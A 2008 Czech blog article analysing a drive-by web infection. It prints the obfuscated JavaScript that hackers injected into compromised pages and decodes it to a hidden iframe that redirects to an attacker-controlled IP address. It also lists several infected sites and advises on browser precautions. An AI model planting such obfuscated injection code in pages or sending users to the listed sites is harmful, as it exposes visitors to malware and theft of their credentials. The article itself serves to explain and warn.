Lze chytit vir návštěvou webové stránky?

Vladimír Stwora

27.11.2008 Technická poradna Témata: Počítače 886 slov

Měli jsme tady tento týden dva kritické články proti vyhledávači Google. Myslím, že konsensus čtenářů vyzněl v jeho neprospěch. Ale Google není jen zloduch. Některé věci dělá dobře. Například začíná upozorňovat čtenáře na stránky, které byly „napíchnuty“. Tedy ty, do kterých někdo vtiskl možný škodlivý kód. Pokud je infikovaná stránka zobrazena ve vyhledávači, je u ni varování „Tyto stránky mohou poškodit váš počítač“.

Kliknete-li přesto na stránky, Google vás znovu důrazně varuje, že stránky obsahují něco, co by obsahovat neměly. Navrhne vám návrat na předchozí stránku. Odkaz vedoucí na zasažení stránky dokonce ani není klikací. Velmi rozumné!

Několik takto napadených stránek zde mám. Rozhodl jsem se prozkoumat jejich kód. Pokud to někdo bude dělat po mně, nechť si nejprve vypne Java Script. A zřejmě neuškodí, když vypnete i další doplňky (Java, ActiveX, Shockwave Flash) – pro jistotu.

Některé napadené stránky (neklikat!):

www.okto-systems.com/bnr/php.php
www.davpanipat.ac.in/
fightinggirls.wz.cz/e_links.html

Další najdete lehce zadáním počátku řetězce čísel „60!105!102!114!97!“ (včetně uvozovek) do Google.

Jedna z českých napadených stránek je zde: http://www.volny.cz/l_kopecky/conspiracy/tichezbrane.htm

Na této obsahově ne nezajímavé stránce jsou mimochodem uloženy také Protokoly siónských mudrců – a i ty jsou zavirovány.

Prohlédl jsem si zdrojový kód všech výše uvedených stránek. Všechny obsahují javascriptový kód (v mírných obměnách), který zapisuje něco na stránku. V některých případech je javascript špatně umístěn, takže se neprovede. Podrobněji jsem si prošel kód ze stránky volny.cz, neboť tento kód je správně umístěn a provede se tak, jak útočník zamýšlel. Vypadá takto:

<script>
var temp="",i,c=0,out="";
var if_uniq_var="iu2test";
var start_time="13 Nov 2008 16:45:47";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!105!117!
50!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!
101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!
112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp="";
}
document.write(out);
</script>

Aby nebudil pozornost, používá script ASCII formu zápisu znaků. Pro dekódování řady čísel můžete zkusit stránku http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html

Do „decimal ASCII“ vložíte řetězec u proměnné str a objeví se překlad v čitelné podobě:

<iframe src="iu2.html" frameborder=“0“ style=“display: none“></iframe>

Útočník využívá tagu <iframe>, který umožňuje spustit v rámečku další webovou stránku. Aby se stránka nezobrazila, má nastaveno display: none.

Je to šikovná forma, jak vás nasměrovat nepozorovaně na jinou stránku. V tomto případě se jedná o stránku iu2.html umístěnou na stejném serveru. A cože to je, ta stránka iu2.html? Po jejím vyvolání se v url políčku objevilo další přesměrování, tentokrát na http://91.203.93.49/cgi-bin/index.cgi?iu2test (neklikat!)

Komu patří adresa 91.203.93.49?

Podle Whois to vypadá takto:

inetnum: 91.203.93.1 - 91.203.93.128
netname: ZHITOMIR-NET
descr: pool for co-location customers
country: UA
admin-c: ML7676-RIPE
tech-c: ML7676-RIPE
status: ASSIGNED PI
mnt-by: UATELECOM-MNT
source: RIPE # Filtered
person: Mark Liberman
address: Kiev, Ukraine
e-mail: m.liberman@uatelecom.com.ua
phone: +380963801326
nic-hdl: ML7676-RIPE
source: RIPE # Filtered

Takže ta adresa patří někomu na Ukrajině, provider je v Kijevě. Vypadá to, že se v tajnosti provede script s názvem index.cgi (cgi většinou bývá Perl, ale to lze změnit, takže není možno přesně říct, v jakém jazyku je script napsán) na serveru s adresou 91.203.93.49.

Co všechno by mohl takový tajně spuštěný kód dělat? Nejsem hacker a neznám ani desetinu z černé magie hackerských nástrojů. Obecně platí, že scripty nemají normálně přístup na disk uživatele, nicméně jej mohou získat vhodně naformátovaným požadavkem na některý děravý „přílepek“, např. microsftí ActiveX nebo Flash od Shockwave. Hodně záleží na operačním systému a na tom, jak dobře je záplatovaný. Nezáplatovaná Windows jsou vždy zranitelná, slyšel jsem o možnosti číst poštu a dokonce provádět jakékoliv systémové příkazy. Myslím, že i u záplatovaných Windows lze pomocí javascriptu či javy podsunout do prohlížeče proxy server. Zkušenější uživatel by na to zřejmě rychle přišel, méně zkušený ne. Přes proxy server by mohl útočník zaznamenávat všechny vámi navštívené stránky, včetně bankovních stránek, odchytávat hesla apod. Tedy krádež identity. Existuje i možnost číst křížově cookies, tedy cookies jiných stránek. Čtenáři mě jistě doplní dalšími hrůzostrašnostmi.

Bylo by dobré upozornit majitele stránek l_kopecky, že se mu někdo naboural do kódu. Zdá se, že k nabourání došlo 13. listopadu (v adresáři, který lze vypsat[!]) http://www.volny.cz/l_kopecky/conspiracy/ vidíme celou řadu souborů přidaných nebo upravených právě 13. listopadu. Majitel stránek o tom zjevně dosud neví. Bohužel, dotyčný autor nemá na stránkách email. :-( Máte-li někdo kontakt na toho pána, prosím, dejte mu vědět.

Nakažené stránky tedy existují a mohou představovat nebezpečí při pouhé návštěvě. Paranoidním uživatelům internetu bych doporučil vypnout javascript, ale toto řešení vás brzy začne otravovat. Zjistíte, že zhruba třetina navštívených stránek prostě nefunguje nebo funguje omezeně - včetně Zvědavce.

Uživatelé Firefoxu mají možnost nainstalovat doplněk NoScript, ale to také není ideální řešení. Při každé návštěvě stránky se scripty na vás vyskakuje okno a ptá se, zda má prohlížeč script povolit. Lze předem nastavit bezpečné stránky, kterým věříte, ale kdo se s tím má babrat?

Ideální řešení podle mě neexistuje. Snad jen pokud vás Google varuje, že stránky jsou nakažené, věřte mu. Vyjímečně nekecá.

Známka 1.3 (hodnotilo 125)

Oznámkujte kvalitu článku jako ve škole
(1-výborný, 5-hrozný)

1  2  3  4  5 

Káva pro Zvědavce

39

Být v obraze něco stojí.
Připojte se k ostatním a staňte se
také sponzorem Zvědavce, stačí
částka v hodnotě jedné kávy měsíčně.

Za měsíc říjen přispělo 81 čtenářů částkou 13 773 korun, což je 39 % měsíčních nákladů provozu Zvědavce.

Bankovní spojení: 2000368066/2010

IBAN: CZ4720100000002000368066
Ze Slovenska 2000368066/8330
IBAN: SK5883300000002000368066
BIC/SWIFT: FIOBCZPPXXX

[PayPal]

Bitcoin:
15SucVps1Cpxd6ahR6uxx6SJiR16SZgR7b

Další možnosti platby ›

Ve zkratce

Za polibek bez náhubků 400 euro20.10.20 17:33 Itálie 3

Soud v Německu rozhodl, že omezit zavírací dobu restaurací není opodstatněné19.10.20 21:32 Německo 4

Co je s panem prezidentem?17.10.20 09:47 Česká republika 7

Je třeba říci dost, burcuje Klaus. Nejsme ve válce, nestrašte mrazáky s mrtvolami14.10.20 11:11 Česká republika 3

Erouška je pochybná aplikace s placebo negativním efektem14.10.20 10:15 Česká republika 5

Ve stavu nebezpečí si schválí cokoli bez demokratické kontroly13.10.20 19:31 Česká republika 0

Maďarská poslankyně skartovala knihu dětškých pohádek plnou gayů a leseb, aktivisté ječí13.10.20 18:08 Maďarsko 2

Absurdita článků z dění na pařížských předměstích nadále roste13.10.20 16:51 Francie 0

Marián Kotleba se rozdáním 3 šeků po 1488 eurech dopustil ideozločinu a půjde sedět12.10.20 21:56 Slovensko 12

Počty zemřelých loni a dnes09.10.20 15:21 Česká republika 6

Studenti na slavné Karlové univerzitě chtějí "bezpohlavní systém"09.10.20 00:10 Česká republika 2

Byla pandemie plánována?08.10.20 21:48 Neurčeno 8

Hoří, hoří a ne a ne spadnout08.10.20 21:23 Jižní Korea 11

Vláda tvrdě zpřísňuje opatření. Na 14 dní se zavřou ZOO, bazény, posilovny, kulturní i sportovní akce08.10.20 16:43 Česká republika 7

Zákon o šmírování internetu vojáky prošel dál08.10.20 15:37 Česká republika 0

Už je to tady: Očkovaní na covid nebudou muset nosit roušky08.10.20 13:19 Česká republika 6

FB smazal Trumpovi 2x příspěvek, ve kterém píše, že chřipka je horší než covid07.10.20 10:35 USA 2

Zločin proti lidskosti06.10.20 21:22 Německo 0

Prymulovi jen tak přistál na účtu milión korun06.10.20 09:50 Česká republika 3

Petice proti náhubkům, testům na covid19 a dalším opatřením04.10.20 17:58 Česká republika 11

Měnové kurzy

USD
22,91 Kč
Euro
27,14 Kč
Libra
29,73 Kč
Kanadský dolar
17,49 Kč
Australský dolar
16,22 Kč
Švýcarský frank
25,28 Kč
100 japonských jenů
21,75 Kč
Čínský juan
3,44 Kč
Polský zloty
5,95 Kč
100 maď. forintů
7,47 Kč
Ukrajinská hřivna
0,81 Kč
100 rublů
29,63 Kč
1 unce (31,1g) zlata
43 937,86 Kč
1 unce stříbra
573,30 Kč
Bitcoin
279 824,29 Kč

Poslední aktualizace: 21.10.2020 06:33 SEČ

Tuto stránku navštívilo 23 002